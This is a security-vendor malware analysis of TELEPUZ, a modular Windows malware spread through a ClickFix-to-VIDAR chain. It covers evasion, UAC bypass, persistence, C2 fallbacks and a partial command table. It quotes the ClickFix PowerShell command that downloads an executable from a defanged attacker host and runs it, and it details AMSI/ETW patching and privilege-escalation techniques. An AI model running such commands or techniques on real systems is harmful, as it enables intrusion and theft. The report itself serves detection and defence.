            <link>https://www.elastic.co/kr/security-labs/telepuz-maas-malware-clickfix</link>
            <guid>telepuz-maas-malware-clickfix</guid>
            <pubDate>Thu, 16 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[TELEPUZ is a modular malware that emerged through CLICKFIX-VIDAR attacks in April. We reverse-engineered it to show you the infrastructure and evasion techniques that matter.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs is tracking an emerging threat named TELEPUZ, which we have discovered spreading widely via a CLICKFIX-VIDAR chain. This malware is in active development and has been operating since late April 2026, according to the infrastructure information we collected. The malware is full-featured, lightweight, and modular. While the number of C2 domains is currently small, the daily volume of builds uploaded to VirusTotal and the rapid pace of updates indicate active development and likely further growth.</p>
<h3>Key takeaways</h3>
<ul>
<li>Full-featured malware, modular, fast evolving</li>
<li>Possible new MaaS, spreading fast</li>
<li>Currently low number of C2 domains</li>
<li>Stagers, main payload, and additional modules; uses WebSockets for communication.</li>
<li>Observed delivered via a CLICKFIX-VIDAR campaign.</li>
</ul>
<h2>TELEPUZ infection chain via CLICKFIX-VIDAR</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image24.png" alt="TELEPUZ infection chain diagram showing ClickFix, PowerShell, VIDAR, install.exe stager and modular payload delivery" title="TELEPUZ infection chain diagram showing ClickFix, PowerShell, VIDAR, install.exe stager and modular payload delivery" /></p>
<p>The infection chain begins with a <a href="https://en.wikipedia.org/wiki/ClickFix">ClickFix</a> social engineering infection, in which the user visits a malicious web page and is prompted to copy and paste, then execute, a Windows shell command to access the page's content.</p>
<pre><code class="language-shell">C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe&quot; -NoP -w h -ep bypass -c \
&quot;$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';\
$f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);\
ri($f+':Zone.Identifier')-EA 0;&amp; $f
</code></pre>
<p>The command downloads the second stage from the URL <code>hxxps://memshowblob[.]forum/api/index.php?a=grab</code> and executes the binary in the user's <code>%TEMP%</code> folder.</p>
<p>The second stage is a VIDAR Go variant (<a href="https://www.virustotal.com/gui/file/580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954">580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954</a>). VIDAR is a well-documented threat known for its ability to download and deploy secondary payloads. In this campaign, we observed it downloading and executing two additional components: the TELEPUZ stager (<code>install.exe</code>) and the main binary (<code>telepuz.dll</code>), both of which were retrieved from the <code>hurgadatour[.]shop</code> domain.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image15.png" alt="TELEPUZ VirusTotal submissions showing staging domain URLs from hurgadatour.shop with dates and submission counts" title="TELEPUZ VirusTotal submissions showing staging domain URLs from hurgadatour.shop with dates and submission counts" /></p>
<p>The <code>telemetriawork</code> part in the second-stage domain URL is a significant marker for this family; searching for this name on VirusTotal yields a large number of stagers and payloads associated with this family.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image25.png" alt="VirusTotal search results for telemetriawork pivot showing 429 TELEPUZ file matches with executable hashes" title="VirusTotal search results for telemetriawork pivot showing 429 TELEPUZ file matches with executable hashes" /></p>
<p>The third stage (<a href="https://www.virustotal.com/gui/file/03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746">03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746</a>) is a small PE, roughly 13–15 KB in size, designed to download and execute the main payload. After downloading the DLL, the stager installs it in the configured install folder and execute it using <code>rundll32</code> with the specified export name. These stagers share the same obfuscation mechanism as the main payload, which we will analyze in the following chapter, effectively linking them to the same family.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image28.png" alt="TELEPUZ DownloadRunModule function downloading DLL from zewaplus.club and executing with rundll32.exe" title="TELEPUZ DownloadRunModule function downloading DLL from zewaplus.club and executing with rundll32.exe" /></p>
<h2>TELEPUZ technical analysis and internals</h2>
<p>The reference sample is <a href="https://www.virustotal.com/gui/file/58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed">58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed</a></p>
<p>The main payload is a 64-bit Windows shared library with one or two exports, whose names are systematically chosen to disguise the library as legitimate software. The malware is written in C, likely by hand, lightweight, modular, and the code quality is correct. The malware contains sparse memory allocations, little middleware, and some features still under development. These elements indicate that the project is led either by a solo developer or a very small team, and that coding is their core business. Given the significant number of builds uploaded to VirusTotal daily, it is likely that we are dealing with a MaaS.</p>
<p>Our sample contains the following exports:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image30.png" alt="TELEPUZ main payload exports showing GatewayLaunch and ServiceRoutine entry points masquerading as legitimate DLL" title="TELEPUZ main payload exports showing GatewayLaunch and ServiceRoutine entry points masquerading as legitimate DLL" /></p>
<h3>TELEPUZ obfuscation techniques</h3>
<h4>Garbage instructions</h4>
<p>The malware interleaves its actual code with “garbage instructions,” which have no functional purpose and are intended to slow down reverse engineering. However, some of these instructions are built to produce side effects, such as updating global variables or invoking Windows APIs, likely to ensure they are not optimized away by either the compiler or the disassembler as dead code. Fortunately, the IDA Pro decompiler does a good job at optimizing them, reducing the amount of clutter and rendering this obfuscation method largely ineffective.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image16.png" alt="TELEPUZ code showing ROR bit rotation operations, NtCurrentPeb access, and thread magic number calculations" title="TELEPUZ code showing ROR bit rotation operations, NtCurrentPeb access, and thread magic number calculations" /></p>
<h4>Import hashing</h4>
<p>TELEPUZ employs standard module and import name hashing to resolve its imports, which are dynamically loaded upon each invocation.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image38.png" alt="TELEPUZ GetModuleHandle and GetProcAddress dynamically loading ntdll.dll to extract syscall numbers for indirect syscall engine initialization" title="TELEPUZ GetModuleHandle and GetProcAddress dynamically loading ntdll.dll to extract syscall numbers for indirect syscall engine initialization" /></p>
<p>The hashing algorithm is described below:</p>
<pre><code class="language-py">def hash_module_name_wide(name):
    h = 0x97C2CA4B
    for c in name:
        b = ord(c) &amp; 0xFF
        if 0x41 &lt;= b &lt;= 0x5A:
            b += 0x20
        h = ((h &lt;&lt; 0x15) | (h &gt;&gt; 0x0B)) &amp; 0xFFFFFFFF
        h = (h - b) &amp; 0xFFFFFFFF
        h = (0x48076BB1 * h - 0x4767A3AB) &amp; 0xFFFFFFFF
    return h
</code></pre>
<h4>String encryption</h4>
<p>TELEPUZ decrypts strings using a custom RC4 implementation, using constants that vary between samples. We developed an IDA script that uses the debugger's Appcall feature to instrument the decryption function and recover all strings. The IDA script is available <a href="https://github.com/elastic/labs-releases/tree/main/tools/telepuz/decrypt_stringv2.py">here</a>.</p>
<h4>Indirect syscalls</h4>
<p>TELEPUZ employs indirect syscalls for several of its activities. To initialize its indirect syscall engine, the malware maps a fresh copy of <code>ntdll.dll</code> into memory using <code>ReadFile</code>. It then iterates through the export table to identify specific functions, parsing their syscall number from their instructions.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image10.png" alt="TELEPUZ disassembly showing syscall instruction and export function matching to syscall numbers" title="TELEPUZ disassembly showing syscall instruction and export function matching to syscall numbers" /></p>
<p>Once the syscall numbers are collected, TELEPUZ generates “trampoline” stubs consisting of the syscall prelude followed by a jump to the address of a <code>syscall;retn</code> gadget.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image29.png" alt="TELEPUZ VirtualAlloc syscall trampoline building code patching system library .text section with indirect syscalls" title="TELEPUZ VirtualAlloc syscall trampoline building code patching system library .text section with indirect syscalls" /></p>
<p>Finally, the malware selects a random library from a set of standard libraries (<code>dfscli.dll</code>, <code>davhlpr.dll</code>, <code>msdtclog.dll</code>, <code>dsrole.dll</code>, and <code>secur32.dll</code>) and loads it via <code>LoadLibrary</code>. It then patches the library's <code>.text</code> section with the previously generated trampolines, so indirect syscalls are now executed from this location.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image37.png" alt="TELEPUZ indirect syscall trampoline patching loaded library .text section to bypass ETW and API hooking" title="TELEPUZ indirect syscall trampoline patching loaded library .text section to bypass ETW and API hooking" /></p>
<h3>TELEPUZ execution flow and persistence installation</h3>
<p>The malware's execution begins with its <code>DllMain</code>. The goal of this initial stage is to re-execute the malware using <code>rundll32.exe</code> with the appropriate export name, provided the current process is not already running as <code>svchost.exe</code> or <code>rundll32.exe</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image35.png" alt="TELEPUZ code checking if current process is rundll32.exe and spawning threads for privilege escalation and C2 communication" title="TELEPUZ code checking if current process is rundll32.exe and spawning threads for privilege escalation and C2 communication" /></p>
<p>During the second execution, the <code>ServiceRoutine</code> export is triggered. This function serves as the primary malware entry point, responsible for installing persistence, initializing the indirect syscall engine, performing anti-VM and anti-debugger checks, elevating its privileges, installing itself as a service and finally initiating the C2 communication loop.</p>
<p>Upon execution, the malware first verifies if it is running from the <code>%TEMP%</code> folder. If so, it migrates to the designated persistence directory, which is distinct from the installation folder. While the stager typically handles writing the payload to the installation directory, the malware includes a fallback mechanism to copy itself to an <code>%AppData%</code> directory if this step has not yet been performed, re-run it from there and delete the current sample.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image1.png" alt="TELEPUZ DoPersistence function copying malware to DCFG Runtime Themes Processor folder and executing via rundll32" title="TELEPUZ DoPersistence function copying malware to DCFG Runtime Themes Processor folder and executing via rundll32" /></p>
<p>Next, the malware creates the mutex <code>cfgmgr_mtx</code> if it does not already exist. It then performs anti-VM and geolocation checks by verifying hardware constraints, such as whether the system has fewer than two CPUs, less than 2GB of memory, or insufficient disk space, and ensuring the system's locale identifier (LCID) is not among a hardcoded list of Commonwealth of Independent States (CIS) countries.</p>
<table>
<thead>
<tr>
<th align="left">LCID</th>
<th align="left">Language</th>
<th align="left">Country</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x422</td>
<td align="left">Ukrainian</td>
<td align="left">Ukraine</td>
</tr>
<tr>
<td align="left">0x423</td>
<td align="left">Belarusian</td>
<td align="left">Belarus</td>
</tr>
<tr>
<td align="left">0x42B</td>
<td align="left">Armenian</td>
<td align="left">Armenia</td>
</tr>
<tr>
<td align="left">0x42C</td>
<td align="left">Azerbaijani</td>
<td align="left">Azerbaijan</td>
</tr>
<tr>
<td align="left">0x428</td>
<td align="left">Tajik</td>
<td align="left">Tajikistan</td>
</tr>
<tr>
<td align="left">0x437</td>
<td align="left">Georgian</td>
<td align="left">Georgia</td>
</tr>
<tr>
<td align="left">0x43F</td>
<td align="left">Kazakh</td>
<td align="left">Kazakhstan</td>
</tr>
<tr>
<td align="left">0x440</td>
<td align="left">Kyrgyz</td>
<td align="left">Kyrgyzstan</td>
</tr>
<tr>
<td align="left">0x442</td>
<td align="left">Turkmen</td>
<td align="left">Turkmenistan</td>
</tr>
<tr>
<td align="left">0x443</td>
<td align="left">Uzbek</td>
<td align="left">Uzbekistan</td>
</tr>
<tr>
<td align="left">0x818</td>
<td align="left">Romanian</td>
<td align="left">Moldova</td>
</tr>
</tbody>
</table>
<p>The malware subsequently compares the current username and computer name against a hardcoded list of common sandbox and malware research identifiers.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image32.png" alt="TELEPUZ sandbox detection code comparing username against hardcoded malware research identifiers using CustomRC4 decryption" title="TELEPUZ sandbox detection code comparing username against hardcoded malware research identifiers using CustomRC4 decryption" /></p>
<p><strong>Usernames</strong><br />
sandbox, malware, virus, test, sample, cuckoo, bruno, jz, dekker, abby, wilbert, johnson, miller, harddisk, currentuser, john, tim, sand box, maltest, pjones, fred</p>
<p><strong>Computer names</strong><br />
sandbox, virus, malware, tequilaboomboom, hal9th, john-pc, mueller-pc, hanspeter-pc, 7silvia, fortinet, wasp, mars, desk-ivruuh4y14, COMPUTERNAME</p>
<p>Finally, the malware compares the display device name against a list of known hypervisor identifiers.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image20.png" alt="TELEPUZ VM detection code checking display device name, CPU count and memory constraints using CustomRC4 decryption" title="TELEPUZ VM detection code checking display device name, CPU count and memory constraints using CustomRC4 decryption" /></p>
<p>If the malware identifies a virtualized environment or an unauthorized geographic location, it terminates execution immediately. Otherwise, it proceeds to initialize the indirect syscall engine and executes a series of evasion routines: NTDLL unhooking, AMSI and ETW patching, and the removal of DllNotification callbacks, to disable security monitoring.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image31.png" alt="TELEPUZ indirect syscall engine setup code initializing trampolines and patching freshly loaded DLL for syscall evasion" title="TELEPUZ indirect syscall engine setup code initializing trampolines and patching freshly loaded DLL for syscall evasion" /></p>
<p>To unhook NTDLL, TELEPUZ maps a fresh copy of the library using <code>NtMapViewOfSection</code>. It then compares the loaded exports against this clean copy, restoring any patched bytes. For AMSI evasion, it patches the <code>AmsiScanBuffer</code> function with <code>”mov eax, 0x80070057; retn</code>, forcing the function to return <code>E_INVALIDARG</code> to the caller. Finally, to disable ETW, it patches <code>EtwEventWrite</code>, <code>NtTraceEvent</code>, and <code>NtTraceEventControl</code> with <code>”xor eax, eax; retn</code> instructions, effectively forcing these functions to return zero.</p>
<p>To remove third party <code>DllNotification</code> callbacks, the malware registers a dummy function via <code>LdrRegisterDllNotification</code> to obtain a cookie. It then uses the resulting opaque structure to iterate through the linked list of registered callbacks, verifying whether each resides within a legitimate Windows library. If not it removes it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image21.png" alt="TELEPUZ DllNotification callback removal code iterating linked list to unregister third-party security tool callbacks" title="TELEPUZ DllNotification callback removal code iterating linked list to unregister third-party security tool callbacks" /></p>
<p>Following the evasion routines, the malware initiates debugger detection. It utilizes <code>NtQueryInformationProcess</code> to inspect <code>ProcessDebugPort</code>, <code>ProcessDebugFlags</code>, and <code>ProcessDebugObjectHandle</code>. It then employs <code>NtGetContextThread</code> to verify if hardware breakpoints (<code>DR0–DR7</code>) are enabled. To further thwart analysis, it calls <code>NtSetInformationThread</code> with the <code>ThreadHideFromDebugger</code> flag and <code>NtClose</code> with <code>0xDEADBEEF</code> to cause a debugger crash.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image13.png" alt="TELEPUZ ThreadHideFromDebugger anti-debugging technique triggering exception to detect debugger presence" title="TELEPUZ ThreadHideFromDebugger anti-debugging technique triggering exception to detect debugger presence" /></p>
<p>Finally, the malware retrieves the parent process ID and verifies the parent process name against a list of known runners, such as <code>rundll32.exe</code> and <code>svchost.exe</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image6.png" alt="TELEPUZ parent process verification against known runner processes using CustomRC4 string decryption" title="TELEPUZ parent process verification against known runner processes using CustomRC4 string decryption" /></p>
<p>The detection sequence concludes by inspecting the <code>PEB.BeingDebugged</code> flag. If a debugger is identified, the malware calls the <code>Sleep</code> function with an <code>INFINITE</code> parameter.</p>
<p>Once the debugger detection sequence completes, the malware generates a unique session id/victim identifier. This identifier is derived by combining the hardware serial number, the computer name, and the operating system's installation date. The generation algorithm is detailed below.</p>
<pre><code class="language-py">FNV1_SEED = 0x811C9DC5
FNV1_PRIME = 0x01000193
ROR27_SEED = 0xA1B39854
GOLDEN_RATIO = 0x61C88647


def fnv1_32(data: bytes, h: int = FNV1_SEED) -&gt; int:
    for b in data:
        h = (FNV1_PRIME * (h ^ b)) &amp; 0xFFFFFFFF
    return h


def ror27_sub(data: bytes, h: int = ROR27_SEED) -&gt; int:
    for b in data:
        v = (b ^ h) &amp; 0xFFFFFFFF
        h = (((v &gt;&gt; 0x1B) | (v &lt;&lt; 0x05)) - GOLDEN_RATIO) &amp; 0xFFFFFFFF
    return h


def generate_session_id(computer_name: bytes, volume_serial: bytes, install_date: bytes) -&gt; str:
    data = computer_name + volume_serial + install_date
    return &quot;%08x%08x&quot; % (fnv1_32(data), ror27_sub(data))
</code></pre>
<p>Following successful session identification, the malware spawns two concurrent threads: one dedicated to elevate itself and install the malware as a service, and the other to initiate the C2 communication loop. The installation thread starts by elevating itself as Admin using the COM elevation moniker technique. This technique involves creating an elevated COM object and using its <code>ShellExecute</code> method to spawn another elevated instance of the sample, thereby successfully bypassing UAC. A full implementation of this technique is <a href="https://github.com/hfiref0x/UACME/blob/e79481f9c2fcb48fa65aaee451e50c79aae4b372/Source/Akagi/methods/api0cradle.c#L30">available here</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image2.png" alt="TELEPUZ COM elevation moniker technique using CLSID_CMSTPLUA for UAC bypass with CustomRC4 decryption" title="TELEPUZ COM elevation moniker technique using CLSID_CMSTPLUA for UAC bypass with CustomRC4 decryption" /></p>
<p>We identified an alternative UAC bypass using <code>AppInfo ALPC</code> and <code>DebugObjects</code>. The malware first launches a non-elevated <code>winver.exe</code> in debug mode via <code>RAicLaunchAdminProcess</code> to capture its debug object handle. It then launches an auto-elevated <code>computerdefault.exe</code> in debug mode and attaches the captured handle using <code>DbgUiSetThreadDebugObject</code>. This grants the malware full access to the elevated process, allowing it to spawn <code>rundll32.exe</code> and execute itself with elevated privileges. A full implementation of this technique is <a href="https://github.com/hfiref0x/UACME/blob/e79481f9c2fcb48fa65aaee451e50c79aae4b372/Source/Akagi/methods/tyranid.c#L435">available here</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image7.png" alt="TELEPUZ debugger detection checking ProcessDebugPort, ProcessDebugFlags and ThreadHideFromDebugger" title="TELEPUZ debugger detection checking ProcessDebugPort, ProcessDebugFlags and ThreadHideFromDebugger" /></p>
<p>Upon achieving elevation and depending on the configuration TELEPUZ next tries to get <code>SYSTEM</code> privilege by stealing the token of the first found process with one of the following names: <code>spoolsv.exe</code>, <code>msdtc.exe</code>, <code>WmiPrvSE.exe</code>, <code>svchost.exe</code>. Next it registers itself as a service by creating the necessary registry keys to instruct Windows to load the malware within a new <code>svchost.exe</code> instance. The malware again tries to masquerade as legitimate software with the service name <code>CipherAllocator</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image11.png" alt="TELEPUZ CipherAllocator service registration in Windows registry with ServiceDll and ServiceMain parameters" title="TELEPUZ CipherAllocator service registration in Windows registry with ServiceDll and ServiceMain parameters" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image26.png" alt="Windows Registry Editor showing TELEPUZ CipherAllocator service registration with KngWrk and LocalService entries" title="Windows Registry Editor showing TELEPUZ CipherAllocator service registration with KngWrk and LocalService entries" /></p>
<p>The second thread manages the C2 communication loop, handling command reception, execution, and data exfiltration. Communication protocols and command structures are detailed in the following sections.</p>
<h3>TELEPUZ C2 communication</h3>
<p>TELEPUZ's configuration contains a single C2 domain, which is initialized just before the generation of the session identifier.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image36.png" alt="TELEPUZ C2 domain initialization and session ID generation combining hardware serial, computer name and install date via FNV1" title="TELEPUZ C2 domain initialization and session ID generation combining hardware serial, computer name and install date via FNV1" /></p>
<p>In the communication thread, the sample attempts to establish contact with its C2 up to 10 times, if it fails, it attempts to retrieve a fallback C2 address using 4 different methods.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image19.png" alt="TELEPUZ WebSocket connection retry logic attempting 10 connections before triggering C2 fallback methods" title="TELEPUZ WebSocket connection retry logic attempting 10 connections before triggering C2 fallback methods" /></p>
<p>These fallback methods access public resources to retrieve new C2 URLs, allowing operators to update addresses if the primary URL fails. We identified the following methods:</p>
<p><strong>Telegram method</strong><br />
TELEPUZ accesses the Telegram profile <code>”t[.]me/chanadarkpart</code>, which contains the encrypted fallback URL.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image8.png" alt="TELEPUZ Telegram C2 fallback channel t.me/chanadarkpart with XOR-encrypted C2 domain and kill switch" title="TELEPUZ Telegram C2 fallback channel t.me/chanadarkpart with XOR-encrypted C2 domain and kill switch" /></p>
<p>The data is XOR-encrypted using the hardcoded key <code>”Goodman</code>, the Steam profile and DNS record methods utilize this same encryption scheme. Decryption reveals the current C2 server at <code>cal.snehamumbai[.]org</code>. Examination of the channel messages indicates the channel was created in late April 2026.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image22.png" alt="Telegram Biography channel t.me/chanadarkpart used by TELEPUZ for C2 fallback containing XOR-encrypted domain" title="Telegram Biography channel t.me/chanadarkpart used by TELEPUZ for C2 fallback containing XOR-encrypted domain" /></p>
<p><strong>Steam Profile</strong><br />
The second method is based on Steam profile usernames, the profile the malware is targeting is <code>hxxps://steamcommunity[.]com//profiles/76561199705801219</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image18.png" alt="Steam profile page containing TELEPUZ C2 fallback domain encrypted with hardcoded key showing profile history" title="Steam profile page containing TELEPUZ C2 fallback domain encrypted with hardcoded key showing profile history" /></p>
<p>The profile name contains the same C2 address found in the Telegram channel. The profile's name history reveals both the C2 domain configured in the malware (<code>cal.joycedoula[.]com[.]br</code>) and this one again but encrypted with the key <code>111111111</code>.</p>
<p><strong>DNS record</strong><br />
The DNS record method does a DNS query for the domain <code>codebasecode[.]com</code>, it then extracts and decrypts the fallback C2 from the information returned. However so far we haven’t found any record associated with this domain.</p>
<p><strong>Polygon blockchain</strong><br />
TELEPUZ initiates a <a href="https://www.jsonrpc.org/specification">JsonRPC</a> HTTP POST request to the Polygon blockchain using pre-configured endpoints, targeting the smart contract address <code>0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E</code> with the method selector <code>0xc3f909d4</code>.</p>
<pre><code class="language-json">{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;eth_call&quot;,&quot;params&quot;:[{&quot;to&quot;:&quot;0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E&quot;,&quot;data&quot;:&quot;0xc3f909d4&quot;},&quot;latest&quot;]}
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image5.png" alt="TELEPUZ Polygon blockchain RPC endpoints used for C2 fallback method via Ethereum JSON-RPC calls" title="TELEPUZ Polygon blockchain RPC endpoints used for C2 fallback method via Ethereum JSON-RPC calls" /></p>
<p>From the returned result TELEPUZ parses the encrypted data and decrypt it using AES256-CBC with the key <code>”cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9</code>.</p>
<pre><code>h=cal.snehamumbai[.]org|p=443|ssl=1
</code></pre>
<p>The smart contract also acts as a kill switch mechanism; if the returned result is fewer than 10 bytes, the malware calls <code>ExitThread</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image4.png" alt="TELEPUZ Polygon blockchain kill switch mechanism checking data size to trigger ExitThread" title="TELEPUZ Polygon blockchain kill switch mechanism checking data size to trigger ExitThread" /></p>
<p>A review of the smart contract address on a blockchain explorer reveals when the contract got created and recent activity at the time of writing.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image34.png" alt="Polygon blockchain smart contract explorer showing TELEPUZ C2 retrieval mechanism with 70-day transaction history" title="Polygon blockchain smart contract explorer showing TELEPUZ C2 retrieval mechanism with 70-day transaction history" /></p>
<p>Once the C2 is resolved, it establishes communication using WebSockets with optional TLS. The WebSocket URL is <code>/cdn/health?sid=</code>, where the sid parameter is the session ID/victim identifier previously generated. Rather than using standard internet libraries, it manually establishes the connection via a TCP socket with hardcoded HTTP headers, and then uses the WebSocket protocol to communicate with the C2 server.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image3.png" alt="TELEPUZ WebSocket C2 communication establishing connection to cal.joycedoula.com.br with HTTP upgrade headers" title="TELEPUZ WebSocket C2 communication establishing connection to cal.joycedoula.com.br with HTTP upgrade headers" /></p>
<p>If TLS is enabled, the malware establishes the tunnel using the Secure Channel (<code>SChannel</code>) provided by the Windows Security Support Provider (<code>SSP</code>). To perform the handshake, it uses the <code>InitializeSecurityContextA</code> function in a loop. In each iteration, it generates TLS data to send to the C2, receives the server's response, and feeds that response back into the same function to generate the subsequent handshake data.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image9.png" alt="TELEPUZ TLS handshake initialization using Windows SChannel security context for encrypted C2 communication" title="TELEPUZ TLS handshake initialization using Windows SChannel security context for encrypted C2 communication" /></p>
<p>Once the WebSocket connection is established, the malware utilizes a simple JSON-based protocol. We implemented a very simple <a href="https://flask-sock.readthedocs.io/en/latest/index.html">flask-sock</a> server to receive the beacon data.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image27.png" alt="TELEPUZ JSON beacon message to C2 containing hostname, username, OS version, architecture and system information" title="TELEPUZ JSON beacon message to C2 containing hostname, username, OS version, architecture and system information" /></p>
<h3>TELEPUZ commands and capabilities</h3>
<p>TELEPUZ receives commands from its C2 server either as plain text or as a hash. If a command is received as text, the malware computes its corresponding hash locally. The hashing algorithm is described below:</p>
<pre><code class="language-py">def hash_command_name(name):
    h = 0x1505
    for c in name:
        h = (ord(c) ^ (0x21 * h)) &amp; 0xFFFFFFFF
    return h
</code></pre>
<p>The malware currently has 36 commands, they are described in the table below:</p>
<table>
<thead>
<tr>
<th align="left">Hash</th>
<th align="left">Command</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>0x7C82BBEB</code></td>
<td align="left"><code>Beacon</code></td>
</tr>
<tr>
<td align="left"><code>0x94822A12</code></td>
<td align="left"><code>CreateZip</code></td>
</tr>
<tr>
<td align="left"><code>0x98712C1C</code></td>
<td align="left"><code>Delete</code></td>
</tr>
<tr>
<td align="left"><code>0x92D09E05</code></td>
<td align="left"><code>DownloadFile</code></td>
</tr>
<tr>
<td align="left"><code>0x3098F2D8</code></td>
<td align="left"><code>DownloadLoadMalwareModule</code></td>
</tr>
<tr>
<td align="left"><code>0xACD43E91</code>, 0x0D9B6199</td>
<td align="left"><code>DownloadRunPE</code></td>
</tr>
<tr>
<td align="left"><code>0xFF55DC66</code></td>
<td align="left"><code>DownloadRunModule</code></td>
</tr>
<tr>
<td align="left"><code>0x1084A429</code></td>
<td align="left"><code>DownloadStartKeyLogger</code></td>
</tr>
<tr>
<td align="left"><code>0xCA4A8C1D</code></td>
<td align="left"><code>DownloadStartStealer</code></td>
</tr>
<tr>
<td align="left"><code>0x7117B24A</code></td>
<td align="left"><code>DownloadStartWebInjectModule</code></td>
</tr>
<tr>
<td align="left"><code>0x4C9F6E6F</code></td>
<td align="left"><code>ElevateToAdmin</code></td>
</tr>
<tr>
<td align="left"><code>0x037825F6</code></td>
<td align="left"><code>ElevateToSystem</code></td>
</tr>
<tr>
<td align="left"><code>0x99C81E9A</code></td>
<td align="left"><code>EnumerateDriveInfo</code></td>
</tr>
<tr>
<td align="left"><code>0x69224E1A</code></td>
<td align="left"><code>ExecuteCommand</code></td>
</tr>
<tr>
<td align="left"><code>0xF6E8CE40</code></td>
<td align="left"><code>ExtractChromeCookiesUsingDownloadedChromeElevator</code></td>
</tr>
<tr>
<td align="left"><code>0x2D858A03</code></td>
<td align="left"><code>GetCurrentTokenStatus</code></td>
</tr>
<tr>
<td align="left"><code>0xDE853911</code></td>
<td align="left"><code>GetKeyLoggerStatus</code></td>
</tr>
<tr>
<td align="left"><code>0x82E18E66</code></td>
<td align="left"><code>GetPathsInfo</code></td>
</tr>
<tr>
<td align="left"><code>0xA823945A</code></td>
<td align="left"><code>InjectShellcode</code></td>
</tr>
<tr>
<td align="left"><code>0x323BE80B</code></td>
<td align="left"><code>KeyLoggerEnableDisableFormFlush</code></td>
</tr>
<tr>
<td align="left"><code>0x7C8B2DA7</code></td>
<td align="left"><code>Kill</code></td>
</tr>
<tr>
<td align="left"><code>0xA5BD70FF</code></td>
<td align="left"><code>KillJob</code></td>
</tr>
<tr>
<td align="left"><code>0xA5BAAA7F</code></td>
<td align="left"><code>ListJobs</code></td>
</tr>
<tr>
<td align="left"><code>0x005974C6</code></td>
<td align="left"><code>ListRunningProcesses</code></td>
</tr>
<tr>
<td align="left"><code>0x0059735A</code></td>
<td align="left"><code>Ls</code></td>
</tr>
<tr>
<td align="left"><code>0x8BC0E38D</code></td>
<td align="left"><code>MaybePrivescDisabled</code></td>
</tr>
<tr>
<td align="left"><code>0x7F593804</code></td>
<td align="left"><code>MigrateIntoProcess</code></td>
</tr>
<tr>
<td align="left"><code>0xBCDE59A3</code></td>
<td align="left"><code>RevertToken</code></td>
</tr>
<tr>
<td align="left"><code>0xA6EC9549</code></td>
<td align="left"><code>Screenshot</code></td>
</tr>
<tr>
